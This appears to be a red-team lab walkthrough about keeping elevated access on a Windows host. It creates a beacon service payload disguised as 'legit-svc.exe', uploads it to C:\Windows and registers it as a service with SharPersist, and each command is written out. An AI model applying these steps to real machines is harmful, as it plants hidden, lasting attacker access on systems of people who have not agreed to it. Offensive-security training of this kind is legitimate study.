In the privouse Host Persistence we have done it in the user context now since we are now elevated we should achive it aain but in system context.

Windows Services

first let’s create a TCP Beacon.

image.png

Now let’s create a Service Payload.

image.png

Now let’s save it.

image.png

Now let’s go to windows folder (in the elevated session)

cd c:\\windows

image.png

now let’s upload the service to it.

upload c:\\payloads\\legit-svc.exe

image.png

Now let’s use SharPersist to make a persistance

execute-assembly C:\\Tools\\SharPersist\\SharPersist\\bin\\Release\\SharPersist.exe -t service -c "C:\\Windows\\legit-svc.exe" -n "legit-svc" -m add

image.png

Now let’s check the Beacon

run netstat -anp tcp